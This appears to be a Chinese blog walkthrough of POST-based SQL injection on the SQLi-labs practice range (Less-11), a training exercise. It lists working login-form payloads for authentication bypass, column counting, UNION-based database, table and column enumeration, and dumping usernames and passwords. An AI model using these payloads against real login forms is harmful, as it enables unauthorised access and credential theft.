SQL注入 - POST注入方法


什么是post呢?
( 就是数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次post的过程的。)

POST和GET得区别
(POST不会在URL栏里面显示 传参可以很长 不会进行URL编码 GET注入传参在URL栏 POST注入传参在表单)

靶场:SQL labs - Less-11

注入流程

正常尝试弱口令登录

username = admin
password = 123456

发现页面不回显

判断是否存在注入,是否会将用户输入拼接到sql语句,并当做代码执行

username = admin or 1=1
password = 123456

发现页面还是不回显任何东西

尝试是否需要闭合语句

username = admin'or'1'='1
password = 123456

发现登录成功。

那么原因是什么呢,因为即使admin不成立那后面得 or 1=1 恒等式成立,那么这条语句也是成立的并且把用户得传参当成了代码执行了所以存在POST注入类型得sql注入漏洞。

尝试注释掉后面得语句

username = admin'--+
password = 123456

发现报错了,通过报错可以猜测正常得SQL语句为以下:
@$sql="SELECT username, password FROM users WHERE username='admin' and password='$passwd' LIMIT 0,1";

由于我们得目的不是为了报错,而是为了注释掉后面得语句并且语句能正常运行,正常情况下应该是不会报错得,所以我这边猜测是过滤了 ‘–+’ 注释符,尝试 ‘#’ 注释符发现页面正常

username = admin'#
password = 123456


判断字段数

username = admin'and'1'='2' order by 1 #
username = admin'and'1'='2' order by 2 #
username = admin'and'1'='2' order by 3 #

发现到3得时候报错了,由此判断字段数为2

判断显错位

username = admin'and'1'='2' union select 1,2 #

判断当前数据库名

username = admin'and'1'='2' union select 1,database() #

发现当前数据库名为'security'

判断当前数据库下的表名

username = admin'and'1'='2' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

发现存在 'emails,referers,uagents,users' 表

判断当前数据库下users表的列名

username = admin'and'1'='2' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #

发现存在'username''password'列

获取’username’'password’具体数据

username = admin'and'1'='2' union select 1,group_concat(username,password) from users #

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透测试小白

如果您觉得满意,一分一毛也是爱

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值